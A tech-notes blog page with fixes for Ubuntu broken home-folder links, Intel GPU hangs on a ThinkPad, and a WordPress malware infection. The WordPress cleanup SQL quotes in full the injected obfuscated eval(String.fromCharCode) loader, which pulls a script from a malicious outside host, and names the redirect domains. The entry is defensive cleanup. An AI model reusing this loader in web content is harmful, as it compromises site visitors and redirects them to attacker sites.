Category: Uncategorized

Ubuntu – Folders in Home Directory become broken links.

Message in syslog:

2023-09-24T07:17:23.376397-07:00 EpiLTop4 snapd-desktop-integration.snapd-desktop-integration[2151]: /home/rbaxter/Music was removed, reassigning MUSIC to homedir

Message in syslog at time link was created: 
2023-09-23T21:40:01.135520-07:00 EpiLTop4 dbus-daemon[944]: [system] Activating via systemd: service name='org.freedesktop.hostname1' unit='dbus-org.freedesktop.hostname1.service' requested by ':1.189' (uid=1000 pid=11154 comm="/usr/bin/nautilus --gapplication-service" label="unconfined")
2023-09-23T21:40:01.166209-07:00 EpiLTop4 gnome-shell[2589]: Window manager warning: Buggy client sent a _NET_ACTIVE_WINDOW message with a timestamp of 0 for 0x2802c42
2023-09-23T21:40:01.166681-07:00 EpiLTop4 systemd[1]: Starting systemd-hostnamed.service - Hostname Service...

Ubuntu 22.02 Graphics Freezing

Hardware: Lenovo Thinkpad P40 Yoga, Intel Intel HD 520 + Nvidia Quadro M500M (2GB DDR3)

GPU Hang
log shows:
i915 0000:00:02.0: [drm] GPU HANG: ecode 9:1:85dffffb, in gnome-shell [3088]

No problem when dual-booting into Windows

Solutions tried

    1. Kernel updated to: Linux 5.19.5-051905-generic x86_64
      (problem persists)

    1. a setting in the Lenovo bios. I changed graphics mode from “Switchable Graphics” to “Discrete Only”.
      (problem persists)

    1. nomodeset
      https://www.dell.com/support/kbdoc/en-ca/000123893/manual-nomodeset-kernel-boot-line-option-for-linux-booting?lang=en

ahci.mobile_lpm_policy=1

intel_idle.max_cstate=1 and/or i915.enable_dc=0

GRUB line was
“GRUB_CMDLINE_LINUX_DEFAULT=”acpi_osi=! acpi_osi=’Windows 2009′ quiet splash intel_iommu=off””

 

4. Environment variable:

Fixing GPU Hangs on Intel HD Graphics 520 (and maybe other iGPUs) from linux

and sudo apt-get install libgl1-amber-dri

and
sudo apt-get install libegl-amber0

and

libglx-amber0

 

Word Press Malware –

Problem: redirects to websites including donaldback….

https://stat.trackstatisticsss.com/slan.js?
https://ws.stivenfernando[.]com/kj.txt

Solution:

  1. Make sure wp_options table contains the right content in the URL field. It should match the home field.
  2. Find code starting with “eval(String.fromCharCode(</p>” in wp_posts table and remove using:
update `wp_posts` set 
`post_content` = REPLACE (`post_content`, '<script type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script>','')

where `post_content` like '%<script type=text/javascript>eval(String.fromCharCode(%'

To Check if all clear:

SELECT * FROM `wp_posts` WHERE `post_content` like '%<script type=text/javascript>eval(String.fromCharCode%'

3. Check if “ghost” administrators have been created:


select * from wp_usermeta where meta_value LIKE '%administrator%';

If so, remove records.

Proudly powered by WordPress | Theme: Wpazure by Wpazure